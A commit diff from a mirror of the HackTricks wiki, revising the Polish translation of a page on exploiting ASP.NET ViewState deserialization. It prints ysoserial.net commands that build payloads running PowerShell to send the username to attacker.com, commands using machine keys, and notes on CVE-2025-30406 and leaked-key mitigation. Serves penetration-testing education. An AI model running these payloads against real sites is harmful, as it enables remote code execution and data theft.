mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
0cf9e74e28
commit
3947269283
@ -6,7 +6,7 @@
|
||||
|
||||
## Czym jest ViewState
|
||||
|
||||
**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości, które mają być zachowane podczas postbacku, są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
|
||||
**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
|
||||
|
||||
Informacje o ViewState można scharakteryzować następującymi właściwościami lub ich kombinacjami:
|
||||
|
||||
@ -38,10 +38,10 @@ Możesz spróbować zidentyfikować, czy ViewState jest chroniony przez MAC, prz
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – Jak Test case 1, ale ciasteczko ViewState nie jest wysyłane przez serwer
|
||||
### Test case 1.5 – Jak Test case 1, ale cookie ViewState nie jest wysyłane przez serwer
|
||||
|
||||
Programiści mogą **usunąć ViewState** z żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\
|
||||
Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed potencjalnymi lukami związanymi z deserializacją ViewState.\
|
||||
Programiści mogą **usunąć ViewState** z stania się częścią żądania HTTP (użytkownik nie otrzyma tego cookie).\
|
||||
Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed wszelkimi potencjalnymi lukami związanymi z deserializacją ViewState.\
|
||||
Jednak nie jest to prawda. Jeśli **dodamy parametr ViewState** do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć **wykonanie kodu**, jak pokazano w **Przypadku 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
@ -124,7 +124,7 @@ Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w p
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` w pliku web.config.
|
||||
Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` pliku web.config.
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
@ -151,16 +151,16 @@ Gdy zostanie zidentyfikowany ważny klucz maszyny, **następnym krokiem jest wyg
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** parametru `--generator` z tą wartością i **pominąć** parametry `--path` oraz `--apppath`.
|
||||
Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** parametru `--generator` z tą wartością i **pominąć** parametry `--path` i `--apppath`.
|
||||
|
||||

|
||||
|
||||
Udane wykorzystanie podatności na deserializację ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Test Case 6 – Używany jest ViewStateUserKeys
|
||||
### Test Case 6 – Używana jest ViewStateUserKeys
|
||||
|
||||
Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakami CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\
|
||||
Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek:
|
||||
Musisz użyć jeszcze jednego parametru, aby poprawnie utworzyć ładunek:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
@ -204,19 +204,17 @@ Ten **prymityw eksfiltracji kluczy** był masowo wykorzystywany przeciwko lokaln
|
||||
## Scenariusze rzeczywistego wykorzystania w latach 2024-2025 i twardo zakodowane klucze maszyn
|
||||
|
||||
### Fala "publicznie ujawnionych kluczy maszyn" Microsoftu (grudzień 2024 – luty 2025)
|
||||
Microsoft Threat Intelligence zgłosił masowe wykorzystanie witryn ASP.NET, w których *machineKey* wcześniej wyciekł w publicznych źródłach (GitHub gists, posty na blogach, strony paste). Przeciwnicy enumerowali te klucze i generowali ważne gadżety `__VIEWSTATE` z nowymi flagami `ysoserial.net` 1.41 `--minify` i `--islegacy`, aby ominąć limity długości WAF:
|
||||
Microsoft Threat Intelligence zgłosił masowe wykorzystanie witryn ASP.NET, gdzie *machineKey* wcześniej został ujawniony w publicznych źródłach (GitHub gists, posty na blogach, strony paste). Przeciwnicy enumerowali te klucze i generowali ważne gadżety `__VIEWSTATE` z nowymi flagami `ysoserial.net` 1.41 `--minify` i `--islegacy`, aby ominąć limity długości WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Rotacja statycznych kluczy lub przejście na klucze *AutoGenerate* w Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) łagodzi tę klasę ataków. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
Rotacja statycznych kluczy lub przejście na klucze *AutoGenerate* w Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) łagodzi tę klasę ataków.
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox twardo zakodowane klucze
|
||||
Kudelski Security odkrył, że wiele wydań CentreStack / Triofox dostarczono z identycznymi wartościami `machineKey`, co umożliwia nieautoryzowane zdalne wykonanie kodu poprzez fałszowanie ViewState (CVE-2025-30406).
|
||||
Kudelski Security odkryło, że wiele wydań CentreStack / Triofox dostarczono z identycznymi wartościami `machineKey`, co umożliwia nieautoryzowane zdalne wykonanie kodu poprzez fałszowanie ViewState (CVE-2025-30406).
|
||||
|
||||
Jednolinijkowy exploit:
|
||||
```bash
|
||||
|
Loading…
x
Reference in New Issue
Block a user